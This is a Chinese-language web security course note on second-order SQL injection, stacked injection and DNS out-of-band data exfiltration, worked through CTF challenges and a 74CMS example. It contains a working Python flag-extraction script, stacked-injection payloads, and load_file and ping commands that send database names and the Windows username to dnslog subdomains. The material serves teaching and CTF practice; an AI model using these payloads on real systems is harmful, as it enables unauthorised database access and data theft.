小迪安全30WEB 攻防-通用漏洞&SQL 注入&CTF&二次&堆叠&DNS 带外

#知识点:

1、数据库堆叠注入

根据数据库类型决定是否支持多条语句执行

2、数据库二次注入

应用功能逻辑涉及上导致的先写入后组合的注入

3、数据库 Dnslog 注入

解决不回显(反向连接),SQL 注入,命令执行,SSRF 等

4、黑盒模式分析以上

二次注入:插入后调用显示操作符合

堆叠注入:判断注入后直接调多条执行

DNS 注入:在注入上没太大利用价值,其他还行

#二次注入-74CMS&网鼎杯 2018Unfinish

比如:找回密码功能:

得到你的用户名(你找回谁的密码)

进入用户名绕过,网站进入找回密码的验证阶段(网站记录知道你是谁了)

接受获取你的用户名,修改密码update

但如果在注册用户名时,写了一个SQL注入的语句

则当进行修改密码时,会对用户名进行调用

即:update user set password='xiaodi' where username='SQL注入代码'

从而形成注入点

CTF-[网鼎杯 2018]Unfinish-黑盒

先进入register.php页面

通过注册完账号后,进行账号登录,此时发现我们的用户名被调用了,这时就可以估计此注入点是二次注入

分析:

注册用户:添加insert

Insert into user(email,username,password) value('3178151661245@qq.com','AT','123456')

登录:用的email和password

进入用户中心:用用户名进行显示

Select username from user where email='31781511245@qq.com'

那么此时我往username这个地方开始注册时就注入了SQL注入,那么此时显示出来的就是我SQL注入来的地方

我们这里使用.py进行制造payload

import requests

from bs4 import BeautifulSoup

import time

url = 'http://d1e19434-4122-4e6e-9aa4-7e31af7022f4.node5.buuoj.cn:81/'

m = ''

for i in range(100):

payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)

register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}

login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}

req = requests.session()

r1 = req.post(url+'register.php',data = register)

r2 = req.post(url+'login.php', data = login)

r3 = req.post(url+'index.php')

html = r3.text

soup = BeautifulSoup(html,'html.parser')

UserName = soup.span.string.strip()

if int(UserName) == 0:

break

m += chr(int(UserName))

print(m)

time.sleep(1)

CMS-74CMS 个人会员中心-黑白盒

黑盒:

对学校名称进行注入

我们并没有填入学校地址,但输入了学校的名字,然后地址就会跟着学校名字一起出来,形成二次注入

xiaodi',address=user()#

即insert address value ('xiaodi',address=user#)

白盒:

根据修改内容抓包,发现对应函数save_resuma_education_edit中的SQL查询语句

抓学校地址该网页的包,并进行查看其相关函数 make4_save

发现有SQL语句------insert:会把修改的内容插入到数据库的相关位置

对其SQL语句进行监听

#堆叠注入-数据库类型&强网杯 2019 随便注

根据数据库类型决定是否支持多条语句执行 这里与联合查询是有区别的;

如select * from news where id=1;create table xioadi like news;

支持堆叠数据库类型:MYSQL MSSQL Postgresql 等

一般的,代码上和数据库上的堆叠操作权限是不一样的,如果代码上允许堆叠,那数据库上一定可以,如果代码上不行,数据库也可以进行堆叠

过滤规则,select是被过滤的,还有一些注入常用语句也被过滤了,此时可考虑堆叠注入

参考:https://www.cnblogs.com/Timesi/p/11426348.html

';show databases;

';show tables;

';show columns from `1919810931114514`;

';select flag from `1919810931114514`;

';SeT

@a=0x73656c656374202a2066726f6d2060313931393831303933313131343531

3460;prepare execsql from @a;execute execsql;

#DNS 利用-平台介绍&SQL 注入&命令执行等

DNS注入原理:让服务器自己去访问网页的地址,通过网络的参数去让对方进行执行,并回显到DNS上

基本只针对于MYSQL------load_file

1.平台

http://www.dnslog.cn

http://admin.dnslog.link

http://ceye.io

2.应用场景:

解决不回显,反向连接,SQL 注入,命令执行,SSRF 等

SQL 注入:

select load_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa'));

and (select load_file(concat('//',(select

database()),'.69knl9.dnslog.cn/abc')))

命令执行:

ping %USERNAME%.7logee.dnslog.cn

接受的主机的username

相关推荐
软件供应链安全指南2 小时前
Forrester发布《2025年应用安全状况报告》,复杂性下的防御体系重构
安全·重构
va学弟2 小时前
SQL 进阶知识——多表关联与约束
数据库·sql
吉吉613 小时前
ThinkPHP5.0.15框架注入复现详细过程
web安全·php·安全性测试
Fnetlink14 小时前
零信任架构在移动办公中的应用与安全保障
安全·架构
卓豪终端管理4 小时前
当终端散落四方,安全如何凝聚成墙?
安全
\xin4 小时前
SQL 注入、文件上传绕过、MySQL UDF 提权、SUID 提权、Docker 逃逸,以及 APT 持久化技术渗透测试全流程第二次思路
sql·mysql·docker·容器·渗透测试·json·漏洞
踢足球09295 小时前
寒假打卡:2026-01-23
数据库·sql
一行注释5 小时前
零宽字符Zero-Width Characters
web安全
万粉变现经纪人5 小时前
如何解决 pip install pyodbc 报错 缺少 ‘cl.exe’ 或 ‘sql.h’(ODBC 头文件)问题
数据库·python·sql·网络协议·bug·ssl·pip
软件供应链安全指南5 小时前
悬镜安全:情报驱动的供应链安全治理
安全